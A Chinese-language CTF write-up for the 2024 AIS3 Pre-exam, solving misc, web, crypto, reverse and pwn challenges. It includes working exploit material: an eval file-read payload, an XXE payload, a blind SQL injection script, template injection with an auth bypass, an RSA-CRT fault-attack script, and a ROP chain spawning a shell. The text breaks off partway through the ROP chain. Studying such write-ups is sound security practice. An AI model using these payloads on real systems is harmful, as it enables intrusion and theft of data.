---
# System prepended metadata

title: 2024 AIS3 Pre-exam & MyFirstCTF Writeup

---

# 2024 AIS3 Pre-exam & MyFirstCTF Writeup

## Misc
### Welcome

---

![Welcome](https://hackmd.io/_uploads/SJxaHCZVR.png)

Flag就在題敘上，複製貼上即可

FLAG：AIS3{Welc0me_to_AIS3_PreExam_2o24!}

---

### Hash Guesser

---

![dest](https://hackmd.io/_uploads/SyT_1ffE0.png)

![page](https://hackmd.io/_uploads/HkfXZzf40.png)


網站要求上傳照片，並與其背後生成的照片做比較，吻合就能得到FLAG

生成照片：
```python=
def generate_image():
    h = hashlib.sha256(secrets.token_bytes(16)).hexdigest()

    image = Image.new("L", (16, 16), 0)
    pixels = [255 if c == '1' else 0 for c in bin(int(h, 16))[2:].zfill(256)]
    image.putdata(pixels)

    return image
```
做比較：
```python=
def is_same_image(img1: Image.Image, img2: Image.Image) -> bool:
    return ImageChops.difference(img1, img2).getbbox() == None
```

從 ImageChops.difference 去尋找原始碼
```c=
Imaging
ImagingChopDifference(Imaging imIn1, Imaging imIn2) {
    CHOP(abs((int)in1[x] - (int)in2[x]));
}
```
CHOP：
```c=
#define CHOP(operation)                         \
    int x, y;                                   \
    Imaging imOut;                              \
    imOut = create(imIn1, imIn2, NULL);         \
    if (!imOut) {                               \
        return NULL;                            \
    }                                           \
    for (y = 0; y < imOut->ysize; y++) {        \
        UINT8 *out = (UINT8 *)imOut->image[y];  \
        UINT8 *in1 = (UINT8 *)imIn1->image[y];  \
        UINT8 *in2 = (UINT8 *)imIn2->image[y];  \
        for (x = 0; x < imOut->linesize; x++) { \
            int temp = operation;               \
            if (temp <= 0) {                    \
                out[x] = 0;                     \
            } else if (temp >= 255) {           \
                out[x] = 255;                   \
            } else {                            \
                out[x] = temp;                  \
            }                                   \
        }                                       \
    }                                           \
    return imOut;
```
create：
```c=
static Imaging
create(Imaging im1, Imaging im2, char *mode) {
    int xsize, ysize;

    if (!im1 || !im2 || im1->type != IMAGING_TYPE_UINT8 ||
        (mode != NULL && (strcmp(im1->mode, "1") || strcmp(im2->mode, "1")))) {
        return (Imaging)ImagingError_ModeError();
    }
    if (im1->type != im2->type || im1->bands != im2->bands) {
        return (Imaging)ImagingError_Mismatch();
    }

    xsize = (im1->xsize < im2->xsize) ? im1->xsize : im2->xsize;
    ysize = (im1->ysize < im2->ysize) ? im1->ysize : im2->ysize;

    return ImagingNewDirty(im1->mode, xsize, ysize);
}
```

其中這兩行是關鍵
```c=
xsize = (im1->xsize < im2->xsize) ? im1->xsize : im2->xsize;
ysize = (im1->ysize < im2->ysize) ? im1->ysize : im2->ysize;
```
這代表兩張圖片的尺寸會選擇較小的值，原本程式生成的圖片為16x16，可以生成一個1x1的圖片，這樣只需要比較一個pixel，且值只可能是255或是0

生成1x1圖片的程式：
```python=
def generate_image():
    image = Image.new("L", (1, 1), 0)
    pixels = [0]
    image.putdata(pixels)

    return image

i = generate_image()
i.save('./image.jpg', "PNG")
```

最後多上傳幾次就能取得FLAG

![find_flag](https://hackmd.io/_uploads/Hkw5bMMV0.png)


FLAG：AIS3{https://github.com/python-pillow/Pillow/issues/2982}

---

### Emoji Console

---
![dest](https://hackmd.io/_uploads/HJzUeff4A.png)
![terminal](https://hackmd.io/_uploads/HyJefzz4R.png)



一個只能用emoji的terminal

🐱為 cat，⭐為 *
🐱 ⭐ -> cat * ：把目前位置的所有檔案 cat 出來

得到一個emoji跟字元的對應表，且得知目前路徑有個flag的資料夾
![cat1](https://hackmd.io/_uploads/SJJC7fM4R.png)
![cat2](https://hackmd.io/_uploads/BkmNEzz4C.png)

重要的有
🐱 -> cat：輸出檔案內容
⭐ > *：代表任一或多個字元
🐍 -> python：運行python程式
😜 -> ;P：用分號結束前面的指令
💿 -> cd：切換資料夾
😑 -> :|：冒號做佔位符，並 pipe 到下一個指令
🚩 -> flag: 就是 flag

然後看flag裡面的內容
指令為 "💿 🚩😜 😑🐱 ⭐"
裡面有個 python 的檔案
![flag-cat](https://hackmd.io/_uploads/ByiWSfMNC.png)

最後執行這個python檔，取得FLAG
指令為 "💿 🚩😜 😑🐍 ⭐"
![flag](https://hackmd.io/_uploads/ryTwBzf40.png)


FLAG：AIS3{🫵🪡🉐🤙🤙🤙👉👉🚩👈👈}

---

### Three Dimensional Secret

---
![dest](https://hackmd.io/_uploads/rk-kIzz4R.png)

拿到一個 pcapng 的檔案，用 wireshark 打開，在裡面瀏覽，在搜尋 "tcp.stream eq 0" 時，Follow 後取得一段 Gcode
![gcode](https://hackmd.io/_uploads/HyW5vzzER.png)

最後執行這段 Gcode，取得FLAG
![flag](https://hackmd.io/_uploads/rkMTPGfER.png)

FLAG：AIS3{b4d1y_tun3d_PriN73r}

---

### Quantum Nim Heist

---
![dest](https://hackmd.io/_uploads/rkStdfMVC.png)

跟AI打一場Nim

根據 https://zh.wikipedia.org/zh-tw/%E5%B0%BC%E5%A7%86%E6%B8%B8%E6%88%8F ，若場上所有pile的尼姆和為0，下家無論如何取，尼姆和絕不為零，而此時上家重新將牌型回到尼姆和為0的狀態，這狀況下下家不可能獲勝。而程式中AI一直將玩家的牌型維持在尼姆和為零的狀態，玩家正常玩是不可能獲勝的。

生成遊戲：
```python=
def generate_losing_game(self) -> None:
        '''generate a game such that the second player has a winning strategy'''
        self.stones = []
        xor_sum = 0

        piles = random.randint(6, 8)
        for i in range(piles):
            self.stones.append(count := random.randint(1, 31))
            xor_sum ^= count

        if xor_sum != 0:
            self.stones.append(xor_sum)
```

AI：
```python=
def get_move(self, game: Game) -> Tuple[int, int]:
        '''
        if there is a winning strategy, returns a move that guarantees a win.
        otherwise, returns a random move.
        '''
        nim_sum = game.nim_sum()

        if nim_sum == 0:
            # losing game, make a random move
            pile = random.randint(0, len(game.stones) - 1)
            count = random.randint(1, game.stones[pile])

        else:
            # winning game, make a winning move
            for i, v in enumerate(game.stones):
                target = v ^ nim_sum
                if target < v:
                    pile = i
                    count = v - target
                    break

        return (pile, count)
```
但是遊戲中判斷玩家行動的部分有 bug
```python=
def play(game: Game):
    ai_player = AIPlayer()
    win = False

    while not game.ended():
        game.show()
        print_game_menu()
        choice = input('it\'s your turn to move! what do you choose? ').strip()

        if choice == '0':
            pile = int(input('which pile do you choose? '))
            count = int(input('how many stones do you remove? '))
            if not game.make_move(pile, count):
                print_error('that is not a valid move!')
                continue

        elif choice == '1':
            game_str = game.save()
            digest = hash.hexdigest(game_str.encode())
            print('you game has been saved! here is your saved game:')
            print(game_str + ':' + digest)
            return

        elif choice == '2':
            break

        # no move -> player wins!
        if game.ended():
            win = True
            break
        else:
            print_move('you', count, pile)
            game.show()

        # the AI plays a move
        pile, count = ai_player.get_move(game)
        assert game.make_move(pile, count)
        print_move('i', count, pile)

    if win:
        print_flag(flag)
        exit(0)
    else:
        print_lose()
```

系統預期的輸入為0, 1, 2，但沒有對以外的輸入做額外的處理，而是仍執行下去。所以如果先隨便動一步，再輸入以外0, 1, 2 以外的字元，此時玩家不會有行動，但 AI 會行動，所以輪到玩家時尼姆和將不為 0，而玩家只要一直將尼姆和為零，就能獲勝，最後取得 FLAG

![flag](https://hackmd.io/_uploads/rJnBJ7MVA.png)

FLAG：AIS3{Ar3_y0u_a_N1m_ma57er_0r_a_Crypt0_ma57er?}

---

## Web
### Evil Calculator

---
![dest](https://hackmd.io/_uploads/rk9xemGNA.png)
![cal](https://hackmd.io/_uploads/SJv8gQME0.png)


一個簡單的計算機網站，背後計算的函式如下

```python=
@app.route('/calculate', methods=['POST'])
def calculate():
    data = request.json
    expression = data['expression'].replace(" ","").replace("_","")
    try:
        result = eval(expression)
    except Exception as e:
        result = str(e)
    return jsonify(result=str(result))
```

上面的 eval 可以運行 python 的語法，我一開始想到引入 os 然後用 os.system 達成RCE，但前面會將空白跟底線給過濾掉，所以想要引入 os 有困難，後來想到給的原始碼中有 flag 檔案，所以其實 flag 的位置是知道的，只要讀就行了，所以最後的 payload 為
```python=
open('../flag').read()
```
![flag](https://hackmd.io/_uploads/H1cVZQGEC.png)


FLAG：AIS3{7RiANG13_5NAK3_I5_50_3Vi1}

---

### Ebook Parser
![dest](https://hackmd.io/_uploads/Bke2bmfVC.png)
![page](https://hackmd.io/_uploads/SkRuM7MER.png)

我建了一個空的 word 檔，然後存成 pdf，然後在用網路上的轉換器將其轉換成 epub 檔，最後再用程式將需要的參數補上。

程式：
```python=
import ebookmeta

meta = ebookmeta.get_metadata('wuming.epub')
meta.title = ""
meta.set_author_list_from_string('Isaac Azimov, Arthur Charles Clarke')

ebookmeta.set_metadata('wuming.epub', meta)
```

後來用文字編輯器看了一下 epub 檔，發現標頭 PK 以及 metadata 是由xml組成。
![editor](https://hackmd.io/_uploads/HJOOrmMVR.png)

然後 file 一下，發現是 zip，且可以解壓縮
![zip](https://hackmd.io/_uploads/HkAyU7GNA.png)
![unzip](https://hackmd.io/_uploads/ByjJM_m4A.png)


而 content.opf 就是剛剛的 metadata 
```xml=
<?xml version='1.0' encoding='utf-8'?>
<package xmlns="http://www.idpf.org/2007/opf" version="2.0" unique-identifier="BookId">
	<metadata xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:opf="http://www.idpf.org/2007/opf">
		<dc:identifier opf:scheme="UUID" id="BookId">urn:uuid:8059C9C3-3262-4BCE-81CC-6AA6E00B6F68</dc:identifier>
		<dc:language>en</dc:language>
		<dc:title></dc:title>
		<meta name="cover" content="cover.jpg"/>		<meta name="Lighten PDF Converter version" content="5.2.0"/>
		<dc:date xmlns:opf="http://www.idpf.org/2007/opf" opf:event="modification">2016-12-09</dc:date>
	<dc:creator opf:role="aut">Isaac Azimov</dc:creator><dc:creator opf:role="aut">Arthur Charles Clarke</dc:creator></metadata>
	<manifest>
		<item id="ncx" href="toc.ncx" media-type="application/x-dtbncx+xml"/>
		<item id="x1.html" href="Text/1.html" media-type="application/xhtml+xml"/>
		<item id="cover.jpg" href="Images/cover.jpg" media-type="image/jpeg"/>	</manifest>
	<spine toc="ncx">
		<itemref idref="x1.html"/>
	</spine>
	<guide>
	</guide>
</package>

```

插入 XXE 的 payload
```xml=
<?xml version='1.0' encoding='utf-8'?>
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///flag"> ]>
...
<dc:title>&ent;</dc:title>
...
```

然後把剛剛解壓縮的東西壓縮回去，然後上傳上去就能得到 FLAG
![flag](https://hackmd.io/_uploads/Hk5qDmGV0.png)

FLAG：AIS3{LP#1742885: lxml no longer expands external entities (XXE) by default}

---

### It's MyGO!!!!!

---
![dest](https://hackmd.io/_uploads/rJk9_QfER.png)
![page-min](https://hackmd.io/_uploads/SyrIYXMVA.png)


根據提示，此題應該要 SQLi ，而明顯可以下手的地方是 /song?id=1 的 id 參數
![id](https://hackmd.io/_uploads/r1UM9XGVA.png)

一開始嘗試 UNION SELECT 但網頁一直跑不出來，後來用 ORDER BY 1 就可行得知只有抓一欄，但其實不太重要

目前已知 FLAG 在 /flag，MySQL中有 LOAD_FILE() 的函式可以閱讀文件的資料，

先找的 FLAG 長度，payload 為
```mysql
1 AND LENGTH(LOAD_FILE("/flag"))={num} # (num: 數字)
```
找到長度為 62

然後開始找各個字元

一開始我是用
```mysql
1 AND SUBSTR(LOAD_FILE("/flag"),{idx},1)={chr} # (idx：字元的位置, chr：字元)
```

但當 idx = 22 時，字元似乎用一般的 ASCII 字元讀不出來

後來上網查到 MySQL 中有 ASCII() 可以將字元轉換成數字，
於是 payload 改為
```mysql
1 AND ASCII(SUBSTR(LOAD_FILE("/flag"),{idx},1))={num} # (idx：字元的位置, num：數字)
```
flag 就能完整讀出來，後面會之所以讀不出來是因為數字已經超過 128，如果直接換成字元會長成下圖這樣
![incorrect](https://hackmd.io/_uploads/ByF24dXVR.png)

可以看到長得很奇怪，而且有些字元是印不出來的，直接丟這個 flag 會顯示是不正確的

於是我後來選擇將數字印出來，然後換成 hex 字串，然後再網路上找個 hex to utf-8 轉換器得到 FLAG
![list](https://hackmd.io/_uploads/H1U2IOQNC.png)
![hex](https://hackmd.io/_uploads/rkV6I_7V0.png)
![flag](https://hackmd.io/_uploads/S13ALu7V0.png)

我用的程式：
```python=
import requests
import string

flag = []
url = f'http://chals1.ais3.org:11454/song?id=1'
nodata = 700

def isLess(idx, ch):
    full_url = url + f' AND ASCII(SUBSTR(LOAD_FILE("/flag"),{idx},1))>'
    query_url = full_url + f'{ch}'
    r = requests.get(query_url)
    return len(r.content) > nodata

def isLager(idx, ch):
    full_url = url + f' AND ASCII(SUBSTR(LOAD_FILE("/flag"),{idx},1))<'
    query_url = full_url + f'{ch}'
    r = requests.get(query_url)
    return len(r.content) > nodata

def isEqual(idx, ch):
    full_url = url + f' AND ASCII(SUBSTR(LOAD_FILE("/flag"),{idx},1))='
    query_url = full_url + f'{ch}'
    r = requests.get(query_url)
    return len(r.content) > nodata


while len(flag) < 62:
    idx = len(flag) + 1
    left = 0
    right = 65535
    while left <= right:
        mid = (left + right) // 2
        if isLess(idx, mid):
            left = mid + 1
        elif isLager(idx, mid):
            right = mid - 1
        elif isEqual(idx, mid):
            flag.append(mid)
            break
    print(flag, len(flag))
```

FLAG：AIS3{CRYCHIC_Funeral_😭🎸😭🎸😭🎤😭🥁😸🎸}

---

### Capoost

---
![image](https://hackmd.io/_uploads/SJqcJTNN0.png)
![image](https://hackmd.io/_uploads/SJx_laEN0.png)

我一開始根據提示嘗試找登入介面的漏洞，發現如果先創建了帳號，然後之後只送用戶名稱是可以登入的

正常登入：
![image](https://hackmd.io/_uploads/SkSv-TVEC.png)

只送 username：
![image](https://hackmd.io/_uploads/B1_9ZTENA.png)

但目前還不知道管理員的 username，所以只能先找其他地方

![image](https://hackmd.io/_uploads/Hy8NGaEE0.png)

登入進來之後，有個創建貼文的按鈕，裡面有三個 template 可以用，但嘗試 SSTI 和 XSS 都沒有效果。
![image](https://hackmd.io/_uploads/BkOfX64VC.png)
![image](https://hackmd.io/_uploads/rJDLQa4N0.png)


後來發現在 /template/read?name= 這個地方是可以 path traversal 的，而根據提示要先讀的是 Dockerfile
![image](https://hackmd.io/_uploads/HkHlVaVVR.png)

在 Dockerfile 裡面運行了 make 指令，表示可能還有 Makefile
![image](https://hackmd.io/_uploads/Hk2v46NVR.png)
Makefile(部分)：
```make=
...
run: main.go go.mod go.sum $(importdir)
$(builder) run $<

readflag: readflag.go
#$(builder) build -o $(builddir)/readflag -tags $(tags) $<
	(builder) build -o $(builddir)/readflag $<
...
```

而從上面這部分得知有 readflag.go 和 main.go 這兩個程式檔
readflag.go 只是一個讀 flag 的程式，沒甚麼重要的
而 main.go 裡的這一段
```go=
import (
//    "net/http"
    "github.com/gin-gonic/gin"
    "github.com/gin-contrib/sessions"
    "github.com/gin-contrib/sessions/cookie"
    "github.com/go-errors/errors"

    "capoost/router"
    "capoost/utils/config"
//    "capoost/utils/database"
    "capoost/utils/errutil"
    "capoost/middlewares/auth"
)
```

這段顯示在這資料夾的其它程式，所以順著其它程式的 import 就能大致還原整個資料夾的架構

而在 model/users/users.go 可以知道到管理員的名稱
```go=
const adminname = "4dm1n1337"
```
然後用之前找到的登入漏洞就可以登進去
![image](https://hackmd.io/_uploads/r1_iwTN4C.png)

admin 的介面功能是可以新增 template ，根據之前看到的 template 可知，這裡是可以SSTI 的
![image](https://hackmd.io/_uploads/rkSXOpN40.png)

而在 router/post/post.go 中有這樣一段
```go=
t := template.New(nowpost.Template)
if nowpost.Owner.ID == 1 {
    t = t.Funcs(template.FuncMap{
        "G1V3m34Fl4gpL34s3": readflag,
    })
}
```
ID 1 是 admin 的，如果一則貼文是由 admin 創建，那就可以用 template 藉由 FuncMap 執行函式 readflag
但是 admin 沒有創建貼文的權限
![image](https://hackmd.io/_uploads/Hyvw5T4V0.png)

而在 model/post/post.go 的 UnmarshalJSON() 有這樣一段
```go=
if tmp.Owner != "" {
    if owner, err := user.GetUser(tmp.Owner); err == nil {
        c.OwnerID = owner.ID
        c.Owner = owner
    }
}
```

如果在 post 中有一欄 Owner 的資料，那此貼文的擁有者就會設成 Owner
所以只要將 Owner 設成 admin 的名字就能創建一篇 admin 擁有的貼文，
配合剛剛的 template 應該就能讀 FLAG

![owner](https://hackmd.io/_uploads/BJIca6VNC.png)
![postlist](https://hackmd.io/_uploads/SJRc66E4C.png)

但沒法讀...
![image](https://hackmd.io/_uploads/B1J-RaNE0.png)

因為在 router/post/post.go 中還有這一段
```go=
if strings.Contains(b.String(), "AIS3") {
    errutil.AbortAndError(c, &errutil.Err{
        Code: 403,
        Msg: "Flag deny",
    })
}
```

後來我想到只需要截一段子字串就好，而 ```{{ slice }}``` 可以達到這效果
長度的話我一個一個去試，最後的 payload 為 ```{{ slice G1V3m34Fl4gpL34s3 1 38 }}```
![image](https://hackmd.io/_uploads/BJhHeCENR.png)

FLAG：AIS3{go_4w4y_WhY_Ar3_y0U_H3R3_Capoo:(}

---

## Crypto
### babyRSA

---

![dest](https://hackmd.io/_uploads/Sy_Qq_mE0.png)

從 output.txt 可以得知 e, n，以及 FLAG 是一個一個字元去編碼的，所以只要去把所有字元用 e, n 去建一張表，然後再去一一對應就能得到 FLAG

![flag](https://hackmd.io/_uploads/HklModQVR.png)

我用的程式：
```python=
l = [(略)]

import string

e, n = (64917055846592305247490566318353366999709874684278480849508851204751189365198819392860386504785643859122396657301225094708026391204100352682992979425763157452255909781003406602228716107905797084217189131716198785709124050278116966890968003294485934472496151582084561439957513571043497031319413889856520421733, 115676743153063753482251273007095369919613374531038288437295760314264647231038870203981488393720761532040569270340726478402172283300622527884543078194060647393394510524980830171230330673500741683492143805583694395504141751460090539868114454005046898551218623342425465650881666420408703144859108346202894384649)

dic = dict()

d = string.ascii_letters + string.digits + string.punctuation

def build_dict():
    for c in d:
        k = pow(ord(c), e, n)
        dic[k] = c

build_dict()

flag = [None for _ in range(len(l))]
for i in range(len(l)):
    flag[i] = dic[l[i]]
print(''.join(flag))
```

FLAG：AIS3{NeverUseTheCryptographyLibraryImplementedYourSelf}


---

### zkp

---

![dest](https://hackmd.io/_uploads/H1SfT_7EC.png)

給 g, p, y，已知 $g^f\ =\ y\ (mod\ p)$，求 $f$ (FLAG) 是多少
![arg](https://hackmd.io/_uploads/ryjz0u74C.png)

網路上查一下，這是離散對數問題。我在 https://ask.sagemath.org/question/61249/discrete_log/ 得知 sagemath 有個函式 discrete_log() 可以解這個問題，於是我就用了，然後得到 FLAG

![flag_int](https://hackmd.io/_uploads/BkXAJK7V0.png)
![flag](https://hackmd.io/_uploads/r1mIlKmN0.png)

FLAG：AIS3{ToSolveADiscreteLogProblemWhithSmoothPIsSoEZZZZZZZZZZZ}

---

### easyRSA

---
![image](https://hackmd.io/_uploads/B1PZltrV0.png)
在網路上查了一下 crt-rsa 有哪些可以下手的地方，然後查到這篇 https://crypto.stackexchange.com/questions/63710/fault-attack-on-rsa-crt

已知原本的訊息 $m$ 以及公鑰 $e$, $n$，創造 crt-rsa signature 但是 $mP$ 與 $mQ$ 其中之一是錯誤的，會生成一個錯誤的 $faultSignature$，而此時就能得到其中一個質數 $p$，公式為 
$p = gcd(faultySignature^e−m,N)$

而題目中生成 signature 的函式：
```python=
bug = lambda : random.randrange(0, 256)
def sign(sk, message: bytes):
    dP, dQ, qInvP, p, q = sk
    data = bytes_to_long(sha256(message).digest())
    # use CRT optimize to sign the signature,
    # but there are bugs in my code QAQ
    a = bug()
    mP = pow(data, dP, p) ^ a
    b = bug()
    mQ = pow(data, dQ, q) ^ b
    k = (qInvP * (mP - mQ)) % p
    signature = mQ + k * q
    return long_to_bytes(signature)
```

雖然生成 mP 跟 mQ 都分別 xor 了 a, b，但只要 a, b 其中之一為零，mP,
mQ 其中之一也會保持原來的值，此時就可以推出質數 p，然後算出 q

而最後是驗證的部分：
```python=
# message = b"Give me the flag!"
def verify(pk, message: bytes, signature: bytes):
    e, n = pk
    data = bytes_to_long(sha256(message).digest())
    return data == pow(bytes_to_long(signature), e, n)
```
密文為 b"Give me the flag!" 的 sha256 hash，在 p, q 後就能推出密鑰 d，從而解出要送的 signature 是多少，然後得到 FLAG
![image](https://hackmd.io/_uploads/H1rANYrVC.png)

腳本：
```python=
import math
from hashlib import sha256
import base64
from Crypto.Util.number import bytes_to_long, long_to_bytes
from pwn import *

p = 1

while p == 1:
    r = remote('chals1.ais3.org', 7001)

    r.recvuntil(b'Option: ')
    r.sendline(b'1')
    r.recvuntil(b'(')
    key_pair = r.recvuntil(b')')[:-1].decode()
    e, n = [int(n) for n in key_pair.split(',')]
    message = bytes_to_long(sha256(b64d(b"R2l2ZSBtZSB0aGUgZmxh")).digest())
    # print(e, n)
    for i in range(3):
        r.recvuntil(b'Option: ')
        r.sendline(b'2')
        r.recvuntil(b'Your message (In Base64 encoded): ')
        r.sendline(b"R2l2ZSBtZSB0aGUgZmxh")
        r.recvuntil(b'Signature: ')
        faultSignature = b64d(r.recvline()[2:-2])
        faultSignature = bytes_to_long(faultSignature)
        # print(faultSignature)
        p = math.gcd((pow(faultSignature, e, n) - message + n) % n, n)
        print(p)
        if p != 1:
            break
    if p != 1:
        break
    r.close()

if p != 1:
    print('Find p!')
    c = 58390298905807142549536595535040245956000670278430985491775738737127640060178
    p, q = (p, n // p)
    phi = (p - 1) * (q - 1)
    d = pow(e, -1, phi)
    m = b64e(long_to_bytes(pow(c, d, n)))
    print(m)
    print(r.recvuntil(b'Option: '))
    r.sendline(b'3')
    print(r.recvuntil(b'Your signature (In Base64 encoded): '))
    r.sendline(m)
    print(r.recv())
    r.close()
```

FLAG：AIS3{IJustWantItFasterQAQ}

---

## Reverse
### The Long Print

---

![image](https://hackmd.io/_uploads/S1B2RyUE0.png)

首先我用 ghidra 發現程式內有 sleep 函式，將其設為 0
![image](https://hackmd.io/_uploads/rkXJggLN0.png)

結果將改過的程式執行沒跑出 FLAG
![image](https://hackmd.io/_uploads/SyBVeeI40.png)

後來看了下 secret 跟 key，
secret 裡有 4 個 bytes 是用來 xor 的，每段後面還跟著數字來表示要用哪組 key
key 就是用來和 secret xor來取得 FLAG 的
於是我將 secret 跟 key 取出，自己寫程式做 xor 得到 FLAG
![image](https://hackmd.io/_uploads/SyKz5l8VR.png)

腳本：
```python=
from pwn import *
key = [0x3a011001, 0x4c4c1b0d, 0x3a0b002d, 0x454f40, 0x3104321a, 0x3e2d161d, 0x2c120a31, 0x0d3e1103, 0x0c1a002c, 0x41d1432, 0x1a003100, 0x76180807]
idx = [11, 10, 2, 8, 6, 5, 7, 4, 9, 0, 1, 3]
flag = [0x454b4146, 0x6f6f687b, 0x5f796172, 0x69727473, 0x5f73676e, 0x615f7369, 0x7961776c, 0x6e615f73, 0x6573755f, 0x5f6c7566, 0x6d6d6f63, 0x7d7a6e61]
h = [p32(flag[i] ^ key[idx[i]]) for i in range(12)]
s = ''.join([c.decode() for c in h])
print(s)
```

FLAG：AIS3{You_are_the_master_of_time_management!!!!?}

補充：
賽後我在把程式內迴圈終止條件的值改大後，程式引發 Segmentation fault，結果把 FLAG 也印出來了
![image](https://hackmd.io/_uploads/S1rdoxLNR.png)


---

### 火拳のエース

---

![image](https://hackmd.io/_uploads/H1hw1bUEA.png)

先用 ghidra 發現程式內有 sleep 函式，將其設為 0
然後跑程式就會得到 FLAG 的前面一部分，但後半部分需要在探索
![image](https://hackmd.io/_uploads/SJXOxWUER.png)

首先看 main 函式
![image](https://hackmd.io/_uploads/S19IZb8EC.png)

輸入的字串會拆分成8個字一組
然後分別與程式內的其它四組 key xor，然後通過 complex_function，最後在與下面四組字串比較
所以現在就是要從那四組字串還原 FLAG 的後半部

下面是 complex_function：
![image](https://hackmd.io/_uploads/S1Zm7WLVA.png)

我做的還原函式：
```python=
def decode(c, i):
    v8 = ord(c) - 65
    v2 = i % 3
    if v2 == 2:
        v8 = (v8 + 5) % 26
    elif v2 == 1:
        v8 = (v8 + 18) % 26
    else:
        for idx in range(26):
            if v8 == d0[idx]:
                v8 = idx
                break

    rot = (-(17 * i) + 65) % 26
    e = v8 + rot
    while e < 65:
        e += 26

    return e
```

然後最後就是分別將四組字串 xor 回去，最後得到 FLAG
![image](https://hackmd.io/_uploads/SkLpX-IV0.png)

丟入程式也會顯示這部分是對的
![image](https://hackmd.io/_uploads/ryfIVbUNC.png)


腳本：
```python=
d0 = [7, 10, 13, 16, 19, 22, 25, 2, 5, 8, 11, 14, 17, 20, 23, 0, 3, 6, 9, 12, 15, 18, 21, 24, 1, 4]
d1 = [8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 0, 1, 2, 3, 4, 5, 6, 7]
d2 = [21, 22, 23, 24, 25, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20]
def decode(c, i):
    v8 = ord(c) - 65
    v2 = i % 3
    if v2 == 2:
        v8 = (v8 + 5) % 26
    elif v2 == 1:
        v8 = (v8 + 18) % 26
    else:
        for idx in range(26):
            if v8 == d0[idx]:
                v8 = idx
                break

    rot = (-(17 * i) + 65) % 26
    e = v8 + rot
    while e < 65:
        e += 26

    return e


a = "DHLIYJEG"
b = "MZRERYND"
c = "RUYODBAH"
d = "BKEMPBRE"

de_a = [None for _ in range(8)]
de_b = [None for _ in range(8)]
de_c = [None for _ in range(8)]
de_d = [None for _ in range(8)]

for i in range(8):
    de_a[i] = decode(a[i], i)
    de_b[i] = decode(b[i], i + 32)
    de_c[i] = decode(c[i], i + 64)
    de_d[i] = decode(d[i], i + 96)

print(de_a+de_b+de_c+de_d)

key_a = [0x0e, 0x0d, 0x7d, 0x6, 0x0f, 0x17, 0x76, 0x4]
key_b = [0x6d, 0x0, 0x1b, 0x7c, 0x6c, 0x13, 0x62, 0x11]
key_c = [0x1e, 0x7e, 0x06, 0x13, 0x7, 0x66, 0x0e, 0x71]
key_d = [0x17, 0x14, 0x1d, 0x70, 0x79, 0x67, 0x74, 0x33]

def xor(a, b):
    return chr(a ^ b)

for i in range(8):
    de_a[i] = xor(de_a[i], key_a[i])
    de_b[i] = xor(de_b[i], key_b[i])
    de_c[i] = xor(de_c[i], key_c[i])
    de_d[i] = xor(de_d[i], key_d[i])

print(''.join(de_a+de_b+de_c+de_d))
```

FLAG：AIS3{G0D_D4MN_4N9R_15_5UP3R_P0W3RFU1!!!}

---

## Pwn
### Mathter

---
![image](https://hackmd.io/_uploads/H1FhHKH4C.png)

一開始用 ida 分析了程式，發現 goodbye 中有個 gets 函式
![image](https://hackmd.io/_uploads/S1dmUFB4R.png)

進入點有了，於是看這程式的資訊
![image](https://hackmd.io/_uploads/H1N9UFr4A.png)

NX 我查了是設定好存資料的區塊是不能執行指令的，所以插入 shellcode 是不太可行的
Canary 雖然這裡也有找到，但我在解題過程中並沒有受到其阻礙
另外，程式是 statically linked 的，所以 Library 也已經含在程式裡
於是我想到用 ROPgadget 生成 ropchain，
然後 padding 為字元陣列大小 4 加 rbp 的 size 8 等於 12
最後就能得到 shell 取得 FLAG
![image](https://hackmd.io/_uploads/rkb2_YBNR.png)

腳本：
```python=
from pwn import *

# r = process('./mathter')
r = remote('chals1.ais3.org', 50001)
print(r.recvuntil(b': '))
r.sendline(b'q')

from struct import pack

# Padding goes here
p = b''
p += b'a' * 12
p += pack('<Q', 0x00000000004126a3) # pop rsi ; ret
p += pack('<Q', 0x00000000004bc000) # @ .data
p += pack('<Q', 0x000000000042e3a7) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x000000000042f981) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x00000000004126a3) # pop rsi ; ret
p += pack('<Q', 0x00000000004bc008) # @ .data + 8
p += pack('<Q', 0x000000000042bda5) # xor rax, rax ; ret
p += pack('<Q', 0x000000000042f981) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000402540) # pop rdi ; ret
p += pack('<Q', 0x00000000004bc000) # @ .data
p += pack('<Q', 0x00000000004126a3) # pop rsi ; ret
p += pack('<Q', 0x00000000004bc008) # @ .data + 8
p += pack('<Q', 0x000000000047b917) # pop rdx ; pop rbx ; ret
p += pack('<Q', 0x00000000004bc008) # @ .data + 8
p += pack('<Q', 0x4141414141414141) # padding
p += pack('<Q', 0x000000000042bda5) # xor rax, rax ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000046daa0) # add rax, 1 ; ret
